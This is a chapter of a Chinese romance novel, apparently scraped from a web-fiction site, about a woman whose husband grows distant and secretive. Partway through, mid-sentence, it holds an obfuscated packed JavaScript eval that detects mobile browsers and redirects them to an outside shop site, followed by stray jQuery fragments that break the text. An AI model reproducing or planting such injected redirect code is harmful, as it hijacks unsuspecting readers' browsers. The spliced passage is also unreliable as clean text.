回到老宅的头两天，龙念菲还能用“他忙”来解释一切。
晚上，她等到十一点。客厅的灯开着，她窝在沙发里，手里摊着一本杂志，翻了三遍，一个字都没看进去。杂志上刊登着某个设计师的家，原木家具，白色墙壁，窗台上摆着一排绿植。她盯着那张照片看了很久，脑子里忽然想起那盆薄荷。
龙念菲今天又忘了浇水，随即她起身去窗台浇了水，回来的时候顺手把手机带上，放在茶几上，屏幕朝上，亮度调到最高。这样他发消息来的时候，她能第一时间看到。
忽然，手机亮了。
傅迟州：【不用等我，你先睡。】
龙念菲盯着这四个字看了几秒，最后她只回了一个字：【好。】
她不是不想多说，是不知道该用什么语气。太热情了像在打扰，太冷淡了又像在生气。
龙念菲深深地叹了口气，关了电视，最后关了客厅的灯，上楼，洗了个澡就躺在了床上。枕头边放着手机，她闭上眼睛，听着走廊里座钟的滴答声，一下一下的，像有人在数她的心跳。她以为自己会睡不着，但身体太累了，累到脑子还没关机，意识就已经沉了下去。
凌晨一点，她被车声惊醒。
大灯的光从窗帘的缝隙里扫过，在墙上一闪而过，龙念菲瞬间坐了起来，心跳得很快，她听着院子里的动静。脚步声在院子里响起来，越来越近，进了正厅，换了鞋，上了楼。
龙念菲没有动，她坐在黑暗中，听着他的脚步经过她的门口。他没有停，直接走过去了。他的房间门开了，又关了。走廊里又恢复了一片寂静。
她等了很久，等他的房间灯灭掉。
龙念菲拿起手机，差一刻两点，随后翻到和他的对话框。
她想给他发消息，但他不想让她等，她就装作没有等。这是她此刻能给他的，唯一的体面。
第二天早上，龙念菲下楼的时候，他的鞋不在鞋柜上。
王妈正在往餐桌上端粥，看到她下来，眼神躲闪了一下：“太太，先生早上走的时候，说晚上不回来吃饭了。”
龙念菲在餐桌前坐下来：“他有说几点回来吗？”
王妈摇了摇头，把手里的碗放下，围裙角在手里攥了攥：“太太，先生最近是不是公司太忙了？”
这句话王妈前天就问过，当时龙念菲说的是“可能是”。
但今天她没有回答，端起粥碗，吹了吹，喝了一口。粥是紫薯粥，甜丝丝的，但她喝不出味道。
王妈站在旁边，欲言又止。最后她从围裙口袋里拿出一个盒子，放在桌上。
“先生早上走的时候，让我把这个给您，说您爱吃这个。”
龙念菲打开盒子，里面是一盒草莓。每一颗都很大，一看就是早上刚买的。她拿起一颗，咬了一口，很甜，汁水很多，但咽下去的时候喉咙哽了一下。
龙念菲把剩下的草莓放回盒子里，盖上盖子。
第二天晚上，龙念菲没有在客厅等。
她回了房间，躺在床上看书。书是那本从民宿带回来的，只翻了几页，讲的是一个女人独自穿越沙漠的故事。
很快，困意袭来，龙念菲把书合上，放在床头柜上，转身关了灯，这次她没有睡，睁着眼睛。她躺在黑暗中，手搭在肚子上。她最近总是下意识地做这个动作，不知道是胃不舒服，还是别的什么原因。
***
清晨，龙念菲吃完早饭，上楼换衣服。经过傅迟州房间的时候，她停下来。门还是她昨晚关上的样子，没有开过。她伸手推开门，走了进去。
窗帘拉着，房间里暗暗的，被子叠得整整齐齐，枕头并排放在一起。床头柜上放着一本书，书签夹在三分之一的位置，他上次看到那里。
龙念菲站在他床尾，看着他枕头上那道浅浅的凹痕。
她弯下腰，伸手拍了一下他的枕头，把那道凹痕拍平了。然后她转身，走出他的房间，轻轻带上了门。
那天晚上，龙念菲没有等他。
不知道过了多久，她被一阵声音吵醒。脚步声在走廊里，从这一头走到那一头，停了片刻，又走回来。
她看了看手机，凌晨两点，他回来了。
龙念菲坐起来，赤着脚走到门边，把门打开一条缝。走廊里没有开灯，月光从尽头的窗户照进来，把走廊切成明暗两半。他在暗的那一半里，靠着墙，手里拿着手机，屏幕的光照着他的脸。
她看不清傅迟州此时脸上的表情。
龙念菲想出去，手已经搭在门把手上了，门板被她推开了几厘米，走廊的光漏进来，落在她的脚背上，她没有动。因为她看到他拿起手机，拨了一个号码。
电话通了，他走到走廊的另一头，声音压得很低。
“……再等等……不能让她知道……”
她听不清他说的其他话，只有这几个词。然后他挂了电话，在走廊里又站了一会儿，推门回了房间。
龙念菲把门关上，靠在门板上。
不能让她知道……
那个“她”是谁？是她吗？他有什么事不能让她知道？
龙念菲现在觉得他最近不回来，不接电话，不跟她说话，不是因为不爱了，是因为有别的事，很大的事。
但他就是不告诉她。
***
几个星期一晃而过。
龙念菲接到一个电话。是快递员打来的，说她的快递放在老宅门口的花坛上了，让她记得取。
她说了声“谢谢”，挂了电话，端着咖啡杯站在原地。茶水间的窗户开着，四月的风从外面吹进来，她低头看着杯里的咖啡，已经凉了。
她把咖啡倒掉，洗了杯子，放回架子上。然后她拿起手机，拨了傅迟州的号码。
电话铃声响了几声后，依旧无人接听。
龙念菲放下手机沉默了几秒，然后把手机放进口袋，走出茶水间。
办公区里很安静，午休时间，大多数同事都去吃饭了，只有几个人趴在桌上睡觉。她走过小周的工位，小周不在，桌上放着一袋没吃完的薯片，敞着口。她回到自己的工位，坐了下来。
龙念菲又给朱玥打了个电话。
其实她不想打这通电话的，她知道朱玥夹在中间很难做人。但她没有别的办法了，她不能直接冲到三十八楼去质问傅迟州，为什么不接她的电话。
那样太难看了，她不想让自己变成那种追着丈夫满公司跑的女人。
电话响了两声就接了。
“龙小姐。”
朱玥的声音一如既往的专业，不高不低，不冷不热。
龙念菲听出了她语气里那一点不自然的紧绷。
“朱玥，傅总在忙吗？”
电话那头沉默了一秒。龙念菲熟悉这种沉默，她在傅氏上班这么久，自然了解她。
朱玥在组织语言，在判断该说什么不该说什么，在替老板挡住那些不该被回答的问题。
“傅总在开会。”朱玥说。
龙念菲问道：“他今天上午有几个会？”
对面又沉默了一秒。
“……两个。一个从九点到十一点，一个从十一点半开始，到现在还没结束。”
“好，我知道了。”龙念菲顿了顿，“谢谢你，朱玥。”
“不客气。”朱玥挂了电话。
龙念菲把手机放在桌上，窗外的阳光照进来，落在她的手臂上，可她却感觉不到一丝暖意。
***
下午，龙念菲给他发了一条消息。
-【晚上回来吃饭吗？】
她握着手机等了很久，久到手机的亮度从亮调到暗，她忍不住又点开屏幕看了一下。
消息发过去了，显示“已读”。
已读，不回。
龙念菲把手机放进口袋，走进电梯。电梯里有其他人，她不想让别人看到她在看手机，就那样站着，看着楼层数字往下跳。
出了电梯，她走到大厅角落的一根柱子旁边，靠着墙，拿出手机。
傅迟州回了一句：【不。】
只有一个字。
她深吸一口气，打了几个字：【那我去看爸妈，你忙。】
这次回复得很快。
-【嗯。】
龙念菲把手机放进口袋，走出大厅。
春风从门外灌进来，她站在台阶上，看着街对面的红绿灯，红灯跳成绿灯，绿灯跳成红灯。
一群学生从斑马线上跑过去，书包在背上弹跳着。
许妍的车停在门口。看到她出来，许妍从驾驶座上探过身子，推开了后座的门。龙念菲弯腰坐进去，许妍问去哪，她说：“去我爸妈那儿。”
许妍没有多问，发动了车子，驶入主路。
路上龙念菲靠在座椅上，看着窗外的街景。这条路她走过很多次，但从来没有自己开车来过。以前是傅迟州开车，她坐在副驾驶。
不过今天他不会在车里等了。
到了龙家楼下，龙念菲让许妍在车里等，自己拎着在楼下水果店买的一箱橘子上楼。楼梯里的声控灯还是那么暗，她跺了一脚，灯亮了，昏黄的光照着斑驳的墙壁。
她敲了门，周芸开的门，看到她愣了一下：“你一个人来的？”
龙念菲换了鞋，把橘子放在茶几上。
“嗯，他忙。”她说得很平淡。
周芸看了她一眼，没有追问，转身去厨房倒水。龙德明从房间里出来，头发比上次见更白了些，但精神还好。
“菲菲来了？”
“爸。”她把橘子递过去，“给你们带的。”
龙德明接过橘子，放在茶几上。他看了看门口：“迟州没来？”
龙念菲笑着又说了一遍刚才的话。
龙德明没有再问，在沙发上坐下来，拿起遥控器把电视声音调小了一点。周芸端着水杯从厨房出来，在龙念菲旁边坐下，把水杯放在她面前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593142|203048||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“菲菲，你是不是瘦了？”
“没有呀，最近吃得还挺多的。”
“妈看你脸色不是很好。”
“可能是没睡好吧。”
周芸看着她，嘴唇动了几下，欲言又止。
龙念菲知道她想问什么。无非就是想问她是不是和傅迟州吵架了之类的。
但她没有给母亲问出口的机会，端起水杯喝了一口，说：“妈，上次那个腌萝卜挺好吃的，还有吗？”
周芸愣了一下：“有，给你装一罐带回去。”
她站起来，走进厨房。
龙念菲坐在沙发上，听父亲讲他最近学太极的事。他说他每天早上六点去公园，跟一个老师傅学，学了两个月了，现在能打完一套二十四式，老师傅都夸他悟性高。
龙念菲听着，时不时点一下头，笑一下。她的脑子不在这些话上，她想着傅迟州今天会不会回来，回来之后会不会又直接上楼。
在龙家待了一个多小时，周芸留她吃饭。
龙念菲说：“不了，晚上还有事。”
周芸没再留，把装好的腌萝卜塞进她包里，又塞了一袋自己做的辣椒酱：“这个给迟州，他上次说好吃。”
龙念菲接过辣椒酱，放进包里。
下楼的时候，声控灯又灭了。她跺了一脚，楼道里很安静，只有她的脚步声。走到二楼拐角的时候，她停下来，靠着墙。
不知道为什么，她忽然就走不动了。胸口像是有什么东西压着，压得她喘不上气。
她蹲了下来，没有哭，把脸埋在膝盖里。
手机在口袋里震了一下，她拿起来，苏若梦发来的消息。
-【在干嘛呢？晚上出来吃饭？】
龙念菲没有回，把手机放回去，又蹲了一会儿。然后站起来，拍了拍裤腿上的灰，下了楼。
许妍还在车里等着，看到她出来，把后座的门推开。龙念菲坐进去。车子驶出小区，天已经黑了，路灯一盏一盏地亮着，从车窗外面滑过去。
“许妍。”
“嗯。”
“绕一下，走江滨路。”
许妍没有问为什么，在下个路口拐了弯。江滨路是临城最漂亮的一条路，一边是江，一边是公园，路灯是暖黄色的，照在江面上，碎成一片一片的金。
以前她和傅迟州晚上偶尔会开车来这里，慢悠悠地兜一圈，不说很多话，只是把车窗摇下来，听江水的声音。
今天江面上什么都没有。没有船，没有鸟，没有月亮。只有风从江面上吹过来，带着一股淡淡的腥味。龙念菲摇下车窗，风吹得她头发到处飞舞。
手机又震了一下，苏若梦又发了一条。
-【你怎么了？不回消息。】
-【是不是傅迟州又欺负你了？】
-【你等着，我明天就去找他算账！】
龙念菲回了一条：【我没事，今天去看爸妈了，有点累。】
苏若梦秒回：【你骗人，你每次这么说就是有事。】
龙念菲看着这行字，没有回复。苏若梦太了解她了，比傅迟州还了解她。
车在红绿灯前停下来。许妍从后视镜里看了她一眼，从纸巾盒里抽了两张纸巾，递到后座。龙念菲接过纸巾，攥在手里。她没有擦眼睛，而是把纸巾叠成一个很小的方块，塞进口袋里。
到了老宅门口，龙念菲在车里坐了一会儿，没有马上下车。许妍熄了火，安静地等着。车窗外，老宅的两盏红灯笼还亮着，光晕不大，刚好照出一小片温暖的红色。大门开着，正厅的灯也亮着。
“许妍，他今天几点走的？”龙念菲问。
“六点。”
“去哪了？”
“公司。”
龙念菲没有再问。六点出门，现在快九点了，他还在公司。
过了一会，龙念菲推门下车，她走到门口，停下来，回头看了一眼巷口，随即转身进去，换了鞋，走进正厅。
王妈从厨房探出头来：“太太，您吃饭了吗？”
“吃了。”
“先生他——”
“他不回来吃了。”
王妈看着她，嘴唇动了动，什么也没说，缩回了厨房。
龙念菲上了楼，洗了澡，换了睡衣，躺在床上。
她打开和傅迟州的对话框，最后一条消息还是下午那个“嗯”。她一条一条往上翻，翻了很久，翻到了从前。
龙念菲翻累了，最后把手机扣在枕头边，关了灯。
这时，手机在枕边亮了一下。她拿起来看了一眼。
苏若梦：【菲菲，你要是难过就给我打电话。不管几点，我手机不关静音。】
龙念菲还没看完，忽然从床上爬了起来，朝厕所跑去。她弯着腰，猛地吐了出来，胃里翻江倒海，小腹传来一阵刺痛。
她擦了擦嘴，洗了把脸，忍着疼痛走到床边，拿起手机给苏若梦打了个电话过去。